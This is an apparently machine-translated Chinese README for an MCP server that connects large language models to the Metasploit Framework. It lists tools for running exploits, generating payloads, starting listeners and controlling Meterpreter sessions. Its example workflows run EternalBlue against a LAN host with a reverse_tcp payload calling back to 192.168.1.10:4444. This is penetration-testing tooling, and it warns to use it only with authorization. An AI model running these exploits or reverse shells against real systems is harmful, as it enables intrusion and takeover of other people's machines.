Metasploit集成服务器

Metasploit MCP服务器为大型语言模型与Metasploit Framework渗透测试平台之间提供桥梁,通过标准化工具实现复杂安全测试工作流程的自然语言接口。

  • by jorganista
  • Python
  • 本地部署
  • 更新于
在 GitHub 查看 jorganista/metasploit-mcp-server

使用说明

Metasploit MCP服务器

用于Metasploit Framework集成的模型上下文协议(MCP)服务器。

https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1

描述

此MCP服务器在大型语言模型(如Claude)和Metasploit Framework渗透测试平台之间提供了一座桥梁。它允许AI助手通过标准化工具动态访问和控制Metasploit功能,为复杂的安全测试工作流程提供自然语言界面。

特性

模块信息

  • 列表_开发:搜索并列出可用的Metasploit漏洞利用模块
  • list_payloads:使用可选平台和架构过滤搜索并列出可用的Metasploit有效载荷模块

开发工作流程

  • run_exploit:使用先运行检查的选项配置并执行针对目标的漏洞利用
  • run_auxiliay_模块:使用自定义选项运行任何Metasploit辅助模块
  • run_post_module:对现有会话执行漏洞利用后模块

有效载荷生成

  • 发电机有效载荷:使用Metasploit RPC生成有效载荷文件(在本地保存文件)

会话管理

  • list_active_sessions:显示包含详细信息的当前Metasploit会话
  • send_session_command:在活动shell或Meterpreter会话中运行命令
  • 终止会话:强行结束活动会话

处理程序管理

  • list_listeners:显示所有活动处理程序和后台作业
  • start_listener:创建新的多维/处理程序以接收连接
  • stop_job:终止任何正在运行的作业或处理程序

先决条件

  • Metasploit框架已安装,msfrpcd正在运行
  • Python 3.10或更高版本
  • 必需的Python包(见requirements.txt)

安装

  1. 克隆此存储库
  2. 安装依赖项:
    pip install -r requirements.txt
    
  3. 配置环境变量(可选):
    MSF_PASSWORD=yourpassword
    MSF_SERVER=127.0.0.1
    MSF_PORT=55553
    MSF_SSL=false
    PAYLOAD_SAVE_DIR=/path/to/save/payloads  # Optional: Where to save generated payloads
    

用法

启动Metasploit RPC服务:

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

运输选项

服务器支持两种传输方式:

  • HTTP/SSE(服务器发送事件):与大多数MCP客户端互操作的默认模式
  • STDIO(标准输入/输出):与Claude Desktop和类似的直接管道连接一起使用

您可以使用以下命令明确选择运输模式 --transport 标志:

# Run with HTTP/SSE transport (default)
python MetasploitMCP.py --transport http

# Run with STDIO transport
python MetasploitMCP.py --transport stdio

HTTP模式的其他选项:

python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

Claude桌面集成

对于Claude Desktop集成,请配置 claude_desktop_config.json:

{
    "mcpServers": {
        "metasploit": {
            "command": "uv",
            "args": [
                "--directory",
                "C:\\path\\to\\MetasploitMCP",
                "run",
                "MetasploitMCP.py",
                "--transport",
                "stdio"
            ],
            "env": {
                "MSF_PASSWORD": "yourpassword"
            }
        }
    }
}

其他MCP客户端

对于使用HTTP/SSE的其他MCP客户端:

  1. 以HTTP模式启动服务器:

    python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
    
  2. 配置您的MCP客户端以连接到:

    • SSE 端点 : http://your-server-ip:8085/sse

安全考虑

⚠️ 重要安全警告:

此工具提供对Metasploit Framework功能的直接访问,其中包括强大的利用功能。负责任地使用,并且仅在您有明确权限执行安全测试的环境中使用。

  • 执行前始终验证和检查所有命令
  • 仅在隔离的测试环境中运行或具有适当的授权
  • 请注意,漏洞利用后的命令可能会导致重大的系统修改

示例工作流

基础开发

  1. 列出可用漏洞: list_exploits("ms17_010")
  2. 选择并运行漏洞利用程序: run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
  3. 列出会话: list_active_sessions()
  4. 运行命令: send_session_command(1, "whoami")

实施漏洞利用

  1. 运行post模块: run_post_module("windows/gather/enum_logged_on_users", 1)
  2. 发送自定义命令: send_session_command(1, "sysinfo")
  3. 完成后终止: terminate_session(1)

处理程序管理

  1. 启动一个监听器: start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
  2. 列出活动处理程序: list_listeners()
  3. 生成有效载荷: generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
  4. 停止处理程序: stop_job(1)

配置选项

有效载荷保存目录

默认情况下,使用生成的有效载荷 generate_payload 保存到a payloads 主文件夹中的目录(~/payloads 或 C:\Users\YourUsername\payloads).您可以通过设置来自定义此位置 PAYLOAD_SAVE_DIR 环境变量。

设置环境变量:

  • Windows(PowerShell):

    $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
    
  • Windows(命令提示符):

    set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
    
  • Linux/macOS:

    export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
    
  • 在Claude桌面配置中:

    "env": {
        "MSF_PASSWORD": "yourpassword",
        "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads"  // Only add if you want to override the default
    }
    

注: 如果您指定了自定义路径,请确保它存在或应用程序有权创建它。如果路径无效,则有效负载生成可能会失败。

许可证

Apache 2.0